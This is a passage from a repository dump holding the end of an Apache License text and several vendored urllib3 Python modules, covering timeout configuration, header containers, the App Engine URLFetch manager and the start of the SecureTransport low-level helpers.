\(such as deliberate and grossly negligent acts\) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work \(including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses\), even if such Contributor has been advised of the possibility of such damages. 51 | 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. 52 | 53 | END OF TERMS AND CONDITIONS 54 | 55 | APPENDIX: How to apply the Apache License to your work. 56 | 57 | To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "\[\]" replaced with your own identifying information. \(Don't include the brackets!\) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. 58 | 59 | Copyright 2023 Ping Identity Corp. 60 | 61 | Licensed under the Apache License, Version 2.0 \(the "License"\); you may not use this file except in compliance with the License. You may obtain a copy of the License at 62 | 63 | [http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) 64 | 65 | Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. 66 | 67 | -------------------------------------------------------------------------------- /modules/urllib3/util/timeout.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import time 4 | 5 | # The default socket timeout, used by httplib to indicate that no timeout was 6 | # specified by the user 7 | from socket import _GLOBAL_DEFAULT_TIMEOUT 8 | 9 | from ..exceptions import TimeoutStateError 10 | 11 | # A sentinel value to indicate that no timeout was specified by the user in 12 | # urllib3 13 | _Default = object() 14 | 15 | 16 | # Use time.monotonic if available. 17 | current_time = getattr(time, "monotonic", time.time) 18 | 19 | 20 | class Timeout(object): 21 | """Timeout configuration. 22 | 23 | Timeouts can be defined as a default for a pool: 24 | 25 | .. code-block:: python 26 | 27 | timeout = Timeout(connect=2.0, read=7.0) 28 | http = PoolManager(timeout=timeout) 29 | response = http.request('GET', 'http://example.com/') 30 | 31 | Or per-request (which overrides the default for the pool): 32 | 33 | .. code-block:: python 34 | 35 | response = http.request('GET', 'http://example.com/', timeout=Timeout(10)) 36 | 37 | Timeouts can be disabled by setting all the parameters to ``None``: 38 | 39 | .. code-block:: python 40 | 41 | no_timeout = Timeout(connect=None, read=None) 42 | response = http.request('GET', 'http://example.com/, timeout=no_timeout) 43 | 44 | 45 | :param total: 46 | This combines the connect and read timeouts into one; the read timeout 47 | will be set to the time leftover from the connect attempt. In the 48 | event that both a connect timeout and a total are specified, or a read 49 | timeout and a total are specified, the shorter timeout will be applied. 50 | 51 | Defaults to None. 52 | 53 | :type total: int, float, or None 54 | 55 | :param connect: 56 | The maximum amount of time (in seconds) to wait for a connection 57 | attempt to a server to succeed. Omitting the parameter will default the 58 | connect timeout to the system default, probably `the global default 59 | timeout in socket.py 60 | `_. 61 | None will set an infinite timeout for connection attempts. 62 | 63 | :type connect: int, float, or None 64 | 65 | :param read: 66 | The maximum amount of time (in seconds) to wait between consecutive 67 | read operations for a response from the server. Omitting the parameter 68 | will default the read timeout to the system default, probably `the 69 | global default timeout in socket.py 70 | `_. 71 | None will set an infinite timeout. 72 | 73 | :type read: int, float, or None 74 | 75 | .. note:: 76 | 77 | Many factors can affect the total amount of time for urllib3 to return 78 | an HTTP response. 79 | 80 | For example, Python's DNS resolver does not obey the timeout specified 81 | on the socket. Other factors that can affect total request time include 82 | high CPU load, high swap, the program running at a low priority level, 83 | or other behaviors. 84 | 85 | In addition, the read and total timeouts only measure the time between 86 | read operations on the socket connecting the client and the server, 87 | not the total amount of time for the request to return a complete 88 | response. For most requests, the timeout is raised because the server 89 | has not sent the first byte in the specified time. This is not always 90 | the case; if a server streams one byte every fifteen seconds, a timeout 91 | of 20 seconds will not trigger, even though the request will take 92 | several minutes to complete. 93 | 94 | If your goal is to cut off any request after a set amount of wall clock 95 | time, consider having a second "watcher" thread to cut off a slow 96 | request. 97 | """ 98 | 99 | #: A sentinel object representing the default timeout value 100 | DEFAULT_TIMEOUT = _GLOBAL_DEFAULT_TIMEOUT 101 | 102 | def __init__(self, total=None, connect=_Default, read=_Default): 103 | self._connect = self._validate_timeout(connect, "connect") 104 | self._read = self._validate_timeout(read, "read") 105 | self.total = self._validate_timeout(total, "total") 106 | self._start_connect = None 107 | 108 | def __repr__(self): 109 | return "%s(connect=%r, read=%r, total=%r)" % ( 110 | type(self).__name__, 111 | self._connect, 112 | self._read, 113 | self.total, 114 | ) 115 | 116 | # __str__ provided for backwards compatibility 117 | __str__ = __repr__ 118 | 119 | @classmethod 120 | def _validate_timeout(cls, value, name): 121 | """Check that a timeout attribute is valid. 122 | 123 | :param value: The timeout value to validate 124 | :param name: The name of the timeout attribute to validate. This is 125 | used to specify in error messages. 126 | :return: The validated and casted version of the given value. 127 | :raises ValueError: If it is a numeric value less than or equal to 128 | zero, or the type is not an integer, float, or None. 129 | """ 130 | if value is _Default: 131 | return cls.DEFAULT_TIMEOUT 132 | 133 | if value is None or value is cls.DEFAULT_TIMEOUT: 134 | return value 135 | 136 | if isinstance(value, bool): 137 | raise ValueError( 138 | "Timeout cannot be a boolean value. It must " 139 | "be an int, float or None." 140 | ) 141 | try: 142 | float(value) 143 | except (TypeError, ValueError): 144 | raise ValueError( 145 | "Timeout value %s was %s, but it must be an " 146 | "int, float or None." % (name, value) 147 | ) 148 | 149 | try: 150 | if value <= 0: 151 | raise ValueError( 152 | "Attempted to set %s timeout to %s, but the " 153 | "timeout cannot be set to a value less " 154 | "than or equal to 0." % (name, value) 155 | ) 156 | except TypeError: 157 | # Python 3 158 | raise ValueError( 159 | "Timeout value %s was %s, but it must be an " 160 | "int, float or None." % (name, value) 161 | ) 162 | 163 | return value 164 | 165 | @classmethod 166 | def from_float(cls, timeout): 167 | """Create a new Timeout from a legacy timeout value. 168 | 169 | The timeout value used by httplib.py sets the same timeout on the 170 | connect(), and recv() socket requests. This creates a :class:`Timeout` 171 | object that sets the individual timeouts to the ``timeout`` value 172 | passed to this function. 173 | 174 | :param timeout: The legacy timeout value. 175 | :type timeout: integer, float, sentinel default object, or None 176 | :return: Timeout object 177 | :rtype: :class:`Timeout` 178 | """ 179 | return Timeout(read=timeout, connect=timeout) 180 | 181 | def clone(self): 182 | """Create a copy of the timeout object 183 | 184 | Timeout properties are stored per-pool but each request needs a fresh 185 | Timeout object to ensure each one has its own start/stop configured. 186 | 187 | :return: a copy of the timeout object 188 | :rtype: :class:`Timeout` 189 | """ 190 | # We can't use copy.deepcopy because that will also create a new object 191 | # for _GLOBAL_DEFAULT_TIMEOUT, which socket.py uses as a sentinel to 192 | # detect the user default. 193 | return Timeout(connect=self._connect, read=self._read, total=self.total) 194 | 195 | def start_connect(self): 196 | """Start the timeout clock, used during a connect() attempt 197 | 198 | :raises urllib3.exceptions.TimeoutStateError: if you attempt 199 | to start a timer that has been started already. 200 | """ 201 | if self._start_connect is not None: 202 | raise TimeoutStateError("Timeout timer has already been started.") 203 | self._start_connect = current_time() 204 | return self._start_connect 205 | 206 | def get_connect_duration(self): 207 | """Gets the time elapsed since the call to :meth:`start_connect`. 208 | 209 | :return: Elapsed time in seconds. 210 | :rtype: float 211 | :raises urllib3.exceptions.TimeoutStateError: if you attempt 212 | to get duration for a timer that hasn't been started. 213 | """ 214 | if self._start_connect is None: 215 | raise TimeoutStateError( 216 | "Can't get connect duration for timer that has not started." 217 | ) 218 | return current_time() - self._start_connect 219 | 220 | @property 221 | def connect_timeout(self): 222 | """Get the value to use when setting a connection timeout. 223 | 224 | This will be a positive float or integer, the value None 225 | (never timeout), or the default system timeout. 226 | 227 | :return: Connect timeout. 228 | :rtype: int, float, :attr:`Timeout.DEFAULT_TIMEOUT` or None 229 | """ 230 | if self.total is None: 231 | return self._connect 232 | 233 | if self._connect is None or self._connect is self.DEFAULT_TIMEOUT: 234 | return self.total 235 | 236 | return min(self._connect, self.total) 237 | 238 | @property 239 | def read_timeout(self): 240 | """Get the value for the read timeout. 241 | 242 | This assumes some time has elapsed in the connection timeout and 243 | computes the read timeout appropriately. 244 | 245 | If self.total is set, the read timeout is dependent on the amount of 246 | time taken by the connect timeout. If the connection time has not been 247 | established, a :exc:`~urllib3.exceptions.TimeoutStateError` will be 248 | raised. 249 | 250 | :return: Value to use for the read timeout. 251 | :rtype: int, float, :attr:`Timeout.DEFAULT_TIMEOUT` or None 252 | :raises urllib3.exceptions.TimeoutStateError: If :meth:`start_connect` 253 | has not yet been called on this object. 254 | """ 255 | if ( 256 | self.total is not None 257 | and self.total is not self.DEFAULT_TIMEOUT 258 | and self._read is not None 259 | and self._read is not self.DEFAULT_TIMEOUT 260 | ): 261 | # In case the connect timeout has not yet been established. 262 | if self._start_connect is None: 263 | return self._read 264 | return max(0, min(self.total - self.get_connect_duration(), self._read)) 265 | elif self.total is not None and self.total is not self.DEFAULT_TIMEOUT: 266 | return max(0, self.total - self.get_connect_duration()) 267 | else: 268 | return self._read 269 | -------------------------------------------------------------------------------- /modules/urllib3/_collections.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | try: 4 | from collections.abc import Mapping, MutableMapping 5 | except ImportError: 6 | from collections import Mapping, MutableMapping 7 | try: 8 | from threading import RLock 9 | except ImportError: # Platform-specific: No threads available 10 | 11 | class RLock: 12 | def __enter__(self): 13 | pass 14 | 15 | def __exit__(self, exc_type, exc_value, traceback): 16 | pass 17 | 18 | 19 | from collections import OrderedDict 20 | 21 | from .exceptions import InvalidHeader 22 | from .packages import six 23 | from .packages.six import iterkeys, itervalues 24 | 25 | __all__ = ["RecentlyUsedContainer", "HTTPHeaderDict"] 26 | 27 | 28 | _Null = object() 29 | 30 | 31 | class RecentlyUsedContainer(MutableMapping): 32 | """ 33 | Provides a thread-safe dict-like container which maintains up to 34 | ``maxsize`` keys while throwing away the least-recently-used keys beyond 35 | ``maxsize``. 36 | 37 | :param maxsize: 38 | Maximum number of recent elements to retain. 39 | 40 | :param dispose_func: 41 | Every time an item is evicted from the container, 42 | ``dispose_func(value)`` is called. Callback which will get called 43 | """ 44 | 45 | ContainerCls = OrderedDict 46 | 47 | def __init__(self, maxsize=10, dispose_func=None): 48 | self._maxsize = maxsize 49 | self.dispose_func = dispose_func 50 | 51 | self._container = self.ContainerCls() 52 | self.lock = RLock() 53 | 54 | def __getitem__(self, key): 55 | # Re-insert the item, moving it to the end of the eviction line. 56 | with self.lock: 57 | item = self._container.pop(key) 58 | self._container[key] = item 59 | return item 60 | 61 | def __setitem__(self, key, value): 62 | evicted_value = _Null 63 | with self.lock: 64 | # Possibly evict the existing value of 'key' 65 | evicted_value = self._container.get(key, _Null) 66 | self._container[key] = value 67 | 68 | # If we didn't evict an existing value, we might have to evict the 69 | # least recently used item from the beginning of the container. 70 | if len(self._container) > self._maxsize: 71 | _key, evicted_value = self._container.popitem(last=False) 72 | 73 | if self.dispose_func and evicted_value is not _Null: 74 | self.dispose_func(evicted_value) 75 | 76 | def __delitem__(self, key): 77 | with self.lock: 78 | value = self._container.pop(key) 79 | 80 | if self.dispose_func: 81 | self.dispose_func(value) 82 | 83 | def __len__(self): 84 | with self.lock: 85 | return len(self._container) 86 | 87 | def __iter__(self): 88 | raise NotImplementedError( 89 | "Iteration over this class is unlikely to be threadsafe." 90 | ) 91 | 92 | def clear(self): 93 | with self.lock: 94 | # Copy pointers to all values, then wipe the mapping 95 | values = list(itervalues(self._container)) 96 | self._container.clear() 97 | 98 | if self.dispose_func: 99 | for value in values: 100 | self.dispose_func(value) 101 | 102 | def keys(self): 103 | with self.lock: 104 | return list(iterkeys(self._container)) 105 | 106 | 107 | class HTTPHeaderDict(MutableMapping): 108 | """ 109 | :param headers: 110 | An iterable of field-value pairs. Must not contain multiple field names 111 | when compared case-insensitively. 112 | 113 | :param kwargs: 114 | Additional field-value pairs to pass in to ``dict.update``. 115 | 116 | A ``dict`` like container for storing HTTP Headers. 117 | 118 | Field names are stored and compared case-insensitively in compliance with 119 | RFC 7230. Iteration provides the first case-sensitive key seen for each 120 | case-insensitive pair. 121 | 122 | Using ``__setitem__`` syntax overwrites fields that compare equal 123 | case-insensitively in order to maintain ``dict``'s api. For fields that 124 | compare equal, instead create a new ``HTTPHeaderDict`` and use ``.add`` 125 | in a loop. 126 | 127 | If multiple fields that are equal case-insensitively are passed to the 128 | constructor or ``.update``, the behavior is undefined and some will be 129 | lost. 130 | 131 | >>> headers = HTTPHeaderDict() 132 | >>> headers.add('Set-Cookie', 'foo=bar') 133 | >>> headers.add('set-cookie', 'baz=quxx') 134 | >>> headers['content-length'] = '7' 135 | >>> headers['SET-cookie'] 136 | 'foo=bar, baz=quxx' 137 | >>> headers['Content-Length'] 138 | '7' 139 | """ 140 | 141 | def __init__(self, headers=None, **kwargs): 142 | super(HTTPHeaderDict, self).__init__() 143 | self._container = OrderedDict() 144 | if headers is not None: 145 | if isinstance(headers, HTTPHeaderDict): 146 | self._copy_from(headers) 147 | else: 148 | self.extend(headers) 149 | if kwargs: 150 | self.extend(kwargs) 151 | 152 | def __setitem__(self, key, val): 153 | self._container[key.lower()] = [key, val] 154 | return self._container[key.lower()] 155 | 156 | def __getitem__(self, key): 157 | val = self._container[key.lower()] 158 | return ", ".join(val[1:]) 159 | 160 | def __delitem__(self, key): 161 | del self._container[key.lower()] 162 | 163 | def __contains__(self, key): 164 | return key.lower() in self._container 165 | 166 | def __eq__(self, other): 167 | if not isinstance(other, Mapping) and not hasattr(other, "keys"): 168 | return False 169 | if not isinstance(other, type(self)): 170 | other = type(self)(other) 171 | return dict((k.lower(), v) for k, v in self.itermerged()) == dict( 172 | (k.lower(), v) for k, v in other.itermerged() 173 | ) 174 | 175 | def __ne__(self, other): 176 | return not self.__eq__(other) 177 | 178 | if six.PY2: # Python 2 179 | iterkeys = MutableMapping.iterkeys 180 | itervalues = MutableMapping.itervalues 181 | 182 | __marker = object() 183 | 184 | def __len__(self): 185 | return len(self._container) 186 | 187 | def __iter__(self): 188 | # Only provide the originally cased names 189 | for vals in self._container.values(): 190 | yield vals[0] 191 | 192 | def pop(self, key, default=__marker): 193 | """D.pop(k[,d]) -> v, remove specified key and return the corresponding value. 194 | If key is not found, d is returned if given, otherwise KeyError is raised. 195 | """ 196 | # Using the MutableMapping function directly fails due to the private marker. 197 | # Using ordinary dict.pop would expose the internal structures. 198 | # So let's reinvent the wheel. 199 | try: 200 | value = self[key] 201 | except KeyError: 202 | if default is self.__marker: 203 | raise 204 | return default 205 | else: 206 | del self[key] 207 | return value 208 | 209 | def discard(self, key): 210 | try: 211 | del self[key] 212 | except KeyError: 213 | pass 214 | 215 | def add(self, key, val): 216 | """Adds a (name, value) pair, doesn't overwrite the value if it already 217 | exists. 218 | 219 | >>> headers = HTTPHeaderDict(foo='bar') 220 | >>> headers.add('Foo', 'baz') 221 | >>> headers['foo'] 222 | 'bar, baz' 223 | """ 224 | key_lower = key.lower() 225 | new_vals = [key, val] 226 | # Keep the common case aka no item present as fast as possible 227 | vals = self._container.setdefault(key_lower, new_vals) 228 | if new_vals is not vals: 229 | vals.append(val) 230 | 231 | def extend(self, *args, **kwargs): 232 | """Generic import function for any type of header-like object. 233 | Adapted version of MutableMapping.update in order to insert items 234 | with self.add instead of self.__setitem__ 235 | """ 236 | if len(args) > 1: 237 | raise TypeError( 238 | "extend() takes at most 1 positional " 239 | "arguments ({0} given)".format(len(args)) 240 | ) 241 | other = args[0] if len(args) >= 1 else () 242 | 243 | if isinstance(other, HTTPHeaderDict): 244 | for key, val in other.iteritems(): 245 | self.add(key, val) 246 | elif isinstance(other, Mapping): 247 | for key in other: 248 | self.add(key, other[key]) 249 | elif hasattr(other, "keys"): 250 | for key in other.keys(): 251 | self.add(key, other[key]) 252 | else: 253 | for key, value in other: 254 | self.add(key, value) 255 | 256 | for key, value in kwargs.items(): 257 | self.add(key, value) 258 | 259 | def getlist(self, key, default=__marker): 260 | """Returns a list of all the values for the named field. Returns an 261 | empty list if the key doesn't exist.""" 262 | try: 263 | vals = self._container[key.lower()] 264 | except KeyError: 265 | if default is self.__marker: 266 | return [] 267 | return default 268 | else: 269 | return vals[1:] 270 | 271 | # Backwards compatibility for httplib 272 | getheaders = getlist 273 | getallmatchingheaders = getlist 274 | iget = getlist 275 | 276 | # Backwards compatibility for http.cookiejar 277 | get_all = getlist 278 | 279 | def __repr__(self): 280 | return "%s(%s)" % (type(self).__name__, dict(self.itermerged())) 281 | 282 | def _copy_from(self, other): 283 | for key in other: 284 | val = other.getlist(key) 285 | if isinstance(val, list): 286 | # Don't need to convert tuples 287 | val = list(val) 288 | self._container[key.lower()] = [key] + val 289 | 290 | def copy(self): 291 | clone = type(self)() 292 | clone._copy_from(self) 293 | return clone 294 | 295 | def iteritems(self): 296 | """Iterate over all header lines, including duplicate ones.""" 297 | for key in self: 298 | vals = self._container[key.lower()] 299 | for val in vals[1:]: 300 | yield vals[0], val 301 | 302 | def itermerged(self): 303 | """Iterate over all headers, merging duplicate ones together.""" 304 | for key in self: 305 | val = self._container[key.lower()] 306 | yield val[0], ", ".join(val[1:]) 307 | 308 | def items(self): 309 | return list(self.iteritems()) 310 | 311 | @classmethod 312 | def from_httplib(cls, message): # Python 2 313 | """Read headers from a Python 2 httplib message object.""" 314 | # python2.7 does not expose a proper API for exporting multiheaders 315 | # efficiently. This function re-reads raw lines from the message 316 | # object and extracts the multiheaders properly. 317 | obs_fold_continued_leaders = (" ", "\t") 318 | headers = [] 319 | 320 | for line in message.headers: 321 | if line.startswith(obs_fold_continued_leaders): 322 | if not headers: 323 | # We received a header line that starts with OWS as described 324 | # in RFC-7230 S3.2.4. This indicates a multiline header, but 325 | # there exists no previous header to which we can attach it. 326 | raise InvalidHeader( 327 | "Header continuation with no previous header: %s" % line 328 | ) 329 | else: 330 | key, value = headers[-1] 331 | headers[-1] = (key, value + " " + line.strip()) 332 | continue 333 | 334 | key, value = line.split(":", 1) 335 | headers.append((key, value.strip())) 336 | 337 | return cls(headers) 338 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/appengine.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module provides a pool manager that uses Google App Engine's 3 | `URLFetch Service `_. 4 | 5 | Example usage:: 6 | 7 | from urllib3 import PoolManager 8 | from urllib3.contrib.appengine import AppEngineManager, is_appengine_sandbox 9 | 10 | if is_appengine_sandbox(): 11 | # AppEngineManager uses AppEngine's URLFetch API behind the scenes 12 | http = AppEngineManager() 13 | else: 14 | # PoolManager uses a socket-level API behind the scenes 15 | http = PoolManager() 16 | 17 | r = http.request('GET', 'https://google.com/') 18 | 19 | There are `limitations `_ to the URLFetch service and it may not be 21 | the best choice for your application. There are three options for using 22 | urllib3 on Google App Engine: 23 | 24 | 1. You can use :class:`AppEngineManager` with URLFetch. URLFetch is 25 | cost-effective in many circumstances as long as your usage is within the 26 | limitations. 27 | 2. You can use a normal :class:`~urllib3.PoolManager` by enabling sockets. 28 | Sockets also have `limitations and restrictions 29 | `_ and have a lower free quota than URLFetch. 31 | To use sockets, be sure to specify the following in your ``app.yaml``:: 32 | 33 | env_variables: 34 | GAE_USE_SOCKETS_HTTPLIB : 'true' 35 | 36 | 3. If you are using `App Engine Flexible 37 | `_, you can use the standard 38 | :class:`PoolManager` without any configuration or special environment variables. 39 | """ 40 | 41 | from __future__ import absolute_import 42 | 43 | import io 44 | import logging 45 | import warnings 46 | 47 | from ..exceptions import ( 48 | HTTPError, 49 | HTTPWarning, 50 | MaxRetryError, 51 | ProtocolError, 52 | SSLError, 53 | TimeoutError, 54 | ) 55 | from ..packages.six.moves.urllib.parse import urljoin 56 | from ..request import RequestMethods 57 | from ..response import HTTPResponse 58 | from ..util.retry import Retry 59 | from ..util.timeout import Timeout 60 | from . import _appengine_environ 61 | 62 | try: 63 | from google.appengine.api import urlfetch 64 | except ImportError: 65 | urlfetch = None 66 | 67 | 68 | log = logging.getLogger(__name__) 69 | 70 | 71 | class AppEnginePlatformWarning(HTTPWarning): 72 | pass 73 | 74 | 75 | class AppEnginePlatformError(HTTPError): 76 | pass 77 | 78 | 79 | class AppEngineManager(RequestMethods): 80 | """ 81 | Connection manager for Google App Engine sandbox applications. 82 | 83 | This manager uses the URLFetch service directly instead of using the 84 | emulated httplib, and is subject to URLFetch limitations as described in 85 | the App Engine documentation `here 86 | `_. 87 | 88 | Notably it will raise an :class:`AppEnginePlatformError` if: 89 | * URLFetch is not available. 90 | * If you attempt to use this on App Engine Flexible, as full socket 91 | support is available. 92 | * If a request size is more than 10 megabytes. 93 | * If a response size is more than 32 megabytes. 94 | * If you use an unsupported request method such as OPTIONS. 95 | 96 | Beyond those cases, it will raise normal urllib3 errors. 97 | """ 98 | 99 | def __init__( 100 | self, 101 | headers=None, 102 | retries=None, 103 | validate_certificate=True, 104 | urlfetch_retries=True, 105 | ): 106 | if not urlfetch: 107 | raise AppEnginePlatformError( 108 | "URLFetch is not available in this environment." 109 | ) 110 | 111 | warnings.warn( 112 | "urllib3 is using URLFetch on Google App Engine sandbox instead " 113 | "of sockets. To use sockets directly instead of URLFetch see " 114 | "https://urllib3.readthedocs.io/en/1.26.x/reference/urllib3.contrib.html.", 115 | AppEnginePlatformWarning, 116 | ) 117 | 118 | RequestMethods.__init__(self, headers) 119 | self.validate_certificate = validate_certificate 120 | self.urlfetch_retries = urlfetch_retries 121 | 122 | self.retries = retries or Retry.DEFAULT 123 | 124 | def __enter__(self): 125 | return self 126 | 127 | def __exit__(self, exc_type, exc_val, exc_tb): 128 | # Return False to re-raise any potential exceptions 129 | return False 130 | 131 | def urlopen( 132 | self, 133 | method, 134 | url, 135 | body=None, 136 | headers=None, 137 | retries=None, 138 | redirect=True, 139 | timeout=Timeout.DEFAULT_TIMEOUT, 140 | **response_kw 141 | ): 142 | 143 | retries = self._get_retries(retries, redirect) 144 | 145 | try: 146 | follow_redirects = redirect and retries.redirect != 0 and retries.total 147 | response = urlfetch.fetch( 148 | url, 149 | payload=body, 150 | method=method, 151 | headers=headers or {}, 152 | allow_truncated=False, 153 | follow_redirects=self.urlfetch_retries and follow_redirects, 154 | deadline=self._get_absolute_timeout(timeout), 155 | validate_certificate=self.validate_certificate, 156 | ) 157 | except urlfetch.DeadlineExceededError as e: 158 | raise TimeoutError(self, e) 159 | 160 | except urlfetch.InvalidURLError as e: 161 | if "too large" in str(e): 162 | raise AppEnginePlatformError( 163 | "URLFetch request too large, URLFetch only " 164 | "supports requests up to 10mb in size.", 165 | e, 166 | ) 167 | raise ProtocolError(e) 168 | 169 | except urlfetch.DownloadError as e: 170 | if "Too many redirects" in str(e): 171 | raise MaxRetryError(self, url, reason=e) 172 | raise ProtocolError(e) 173 | 174 | except urlfetch.ResponseTooLargeError as e: 175 | raise AppEnginePlatformError( 176 | "URLFetch response too large, URLFetch only supports" 177 | "responses up to 32mb in size.", 178 | e, 179 | ) 180 | 181 | except urlfetch.SSLCertificateError as e: 182 | raise SSLError(e) 183 | 184 | except urlfetch.InvalidMethodError as e: 185 | raise AppEnginePlatformError( 186 | "URLFetch does not support method: %s" % method, e 187 | ) 188 | 189 | http_response = self._urlfetch_response_to_http_response( 190 | response, retries=retries, **response_kw 191 | ) 192 | 193 | # Handle redirect? 194 | redirect_location = redirect and http_response.get_redirect_location() 195 | if redirect_location: 196 | # Check for redirect response 197 | if self.urlfetch_retries and retries.raise_on_redirect: 198 | raise MaxRetryError(self, url, "too many redirects") 199 | else: 200 | if http_response.status == 303: 201 | method = "GET" 202 | 203 | try: 204 | retries = retries.increment( 205 | method, url, response=http_response, _pool=self 206 | ) 207 | except MaxRetryError: 208 | if retries.raise_on_redirect: 209 | raise MaxRetryError(self, url, "too many redirects") 210 | return http_response 211 | 212 | retries.sleep_for_retry(http_response) 213 | log.debug("Redirecting %s -> %s", url, redirect_location) 214 | redirect_url = urljoin(url, redirect_location) 215 | return self.urlopen( 216 | method, 217 | redirect_url, 218 | body, 219 | headers, 220 | retries=retries, 221 | redirect=redirect, 222 | timeout=timeout, 223 | **response_kw 224 | ) 225 | 226 | # Check if we should retry the HTTP response. 227 | has_retry_after = bool(http_response.getheader("Retry-After")) 228 | if retries.is_retry(method, http_response.status, has_retry_after): 229 | retries = retries.increment(method, url, response=http_response, _pool=self) 230 | log.debug("Retry: %s", url) 231 | retries.sleep(http_response) 232 | return self.urlopen( 233 | method, 234 | url, 235 | body=body, 236 | headers=headers, 237 | retries=retries, 238 | redirect=redirect, 239 | timeout=timeout, 240 | **response_kw 241 | ) 242 | 243 | return http_response 244 | 245 | def _urlfetch_response_to_http_response(self, urlfetch_resp, **response_kw): 246 | 247 | if is_prod_appengine(): 248 | # Production GAE handles deflate encoding automatically, but does 249 | # not remove the encoding header. 250 | content_encoding = urlfetch_resp.headers.get("content-encoding") 251 | 252 | if content_encoding == "deflate": 253 | del urlfetch_resp.headers["content-encoding"] 254 | 255 | transfer_encoding = urlfetch_resp.headers.get("transfer-encoding") 256 | # We have a full response's content, 257 | # so let's make sure we don't report ourselves as chunked data. 258 | if transfer_encoding == "chunked": 259 | encodings = transfer_encoding.split(",") 260 | encodings.remove("chunked") 261 | urlfetch_resp.headers["transfer-encoding"] = ",".join(encodings) 262 | 263 | original_response = HTTPResponse( 264 | # In order for decoding to work, we must present the content as 265 | # a file-like object. 266 | body=io.BytesIO(urlfetch_resp.content), 267 | msg=urlfetch_resp.header_msg, 268 | headers=urlfetch_resp.headers, 269 | status=urlfetch_resp.status_code, 270 | **response_kw 271 | ) 272 | 273 | return HTTPResponse( 274 | body=io.BytesIO(urlfetch_resp.content), 275 | headers=urlfetch_resp.headers, 276 | status=urlfetch_resp.status_code, 277 | original_response=original_response, 278 | **response_kw 279 | ) 280 | 281 | def _get_absolute_timeout(self, timeout): 282 | if timeout is Timeout.DEFAULT_TIMEOUT: 283 | return None # Defer to URLFetch's default. 284 | if isinstance(timeout, Timeout): 285 | if timeout._read is not None or timeout._connect is not None: 286 | warnings.warn( 287 | "URLFetch does not support granular timeout settings, " 288 | "reverting to total or default URLFetch timeout.", 289 | AppEnginePlatformWarning, 290 | ) 291 | return timeout.total 292 | return timeout 293 | 294 | def _get_retries(self, retries, redirect): 295 | if not isinstance(retries, Retry): 296 | retries = Retry.from_int(retries, redirect=redirect, default=self.retries) 297 | 298 | if retries.connect or retries.read or retries.redirect: 299 | warnings.warn( 300 | "URLFetch only supports total retries and does not " 301 | "recognize connect, read, or redirect retry parameters.", 302 | AppEnginePlatformWarning, 303 | ) 304 | 305 | return retries 306 | 307 | 308 | # Alias methods from _appengine_environ to maintain public API interface. 309 | 310 | is_appengine = _appengine_environ.is_appengine 311 | is_appengine_sandbox = _appengine_environ.is_appengine_sandbox 312 | is_local_appengine = _appengine_environ.is_local_appengine 313 | is_prod_appengine = _appengine_environ.is_prod_appengine 314 | is_prod_appengine_mvms = _appengine_environ.is_prod_appengine_mvms 315 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/_securetransport/low_level.py: -------------------------------------------------------------------------------- 1 | """ 2 | Low-level helpers for the SecureTransport bindings. 3 | 4 | These are Python functions that are not directly related to the high-level APIs 5 | but are necessary to get them to work. They include a whole bunch of low-level 6 | CoreFoundation messing about and memory management. The concerns in this module 7 | are almost entirely about trying to avoid memory leaks and providing 8 | appropriate and useful assistance to the higher-level code. 9 | """ 10 | import base64 11 | import ctypes 12 | import itertools 13 | import os 14 | import re 15 | import ssl 16 | import struct 17 | import tempfile 18 | 19 | from .bindings import CFConst, CoreFoundation, Security 20 | 21 | # This regular expression is used to grab PEM data out of a PEM bundle. 22 | _PEM_CERTS_RE = re.compile( 23 | b"-----BEGIN CERTIFICATE-----\n(.*?)\n-----END CERTIFICATE-----", re.DOTALL 24 | ) 25 | 26 | 27 | def _cf_data_from_bytes(bytestring): 28 | """ 29 | Given a bytestring, create a CFData object from it. This CFData object must 30 | be CFReleased by the caller. 31 | """ 32 | return CoreFoundation.CFDataCreate( 33 | CoreFoundation.kCFAllocatorDefault, bytestring, len(bytestring) 34 | ) 35 | 36 | 37 | def _cf_dictionary_from_tuples(tuples): 38 | """ 39 | Given a list of Python tuples, create an associated CFDictionary. 40 | """ 41 | dictionary_size = len(tuples) 42 | 43 | # We need to get the dictionary keys and values out in the same order. 44 | keys = (t[0] for t in tuples) 45 | values = (t[1] for t in tuples) 46 | cf_keys = (CoreFoundation.CFTypeRef * dictionary_size)(*keys) 47 | cf_values = (CoreFoundation.CFTypeRef * dictionary_size)(*values) 48 | 49 | return CoreFoundation.CFDictionaryCreate( 50 | CoreFoundation.kCFAllocatorDefault, 51 | cf_keys, 52 | cf_values, 53 | dictionary_size, 54 | CoreFoundation.kCFTypeDictionaryKeyCallBacks, 55 | CoreFoundation.kCFTypeDictionaryValueCallBacks, 56 | ) 57 | 58 | 59 | def _cfstr(py_bstr): 60 | """ 61 | Given a Python binary data, create a CFString. 62 | The string must be CFReleased by the caller. 63 | """ 64 | c_str = ctypes.c_char_p(py_bstr) 65 | cf_str = CoreFoundation.CFStringCreateWithCString( 66 | CoreFoundation.kCFAllocatorDefault, 67 | c_str, 68 | CFConst.kCFStringEncodingUTF8, 69 | ) 70 | return cf_str 71 | 72 | 73 | def _create_cfstring_array(lst): 74 | """ 75 | Given a list of Python binary data, create an associated CFMutableArray. 76 | The array must be CFReleased by the caller. 77 | 78 | Raises an ssl.SSLError on 